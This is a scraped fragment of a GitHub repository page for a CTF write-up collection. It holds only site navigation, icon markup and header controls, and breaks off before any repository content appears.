<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="59453325" data-scoped-search-url="/DaramG/ctf-writeup/search" data-owner-scoped-search-url="/users/DaramG/search" data-unscoped-search-url="/search" data-turbo="false" action="/DaramG/ctf-writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="EUUN9x9QjhBNZgJ0RvzZWDJcvGH1WU9ceW5X49c5TPddO3xHCCKpWTLrdEVfXmlhFTqE5ZSZtgAkTgz7blmttQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> DaramG </span> <span>/</span> ctf-writeup
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>6</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
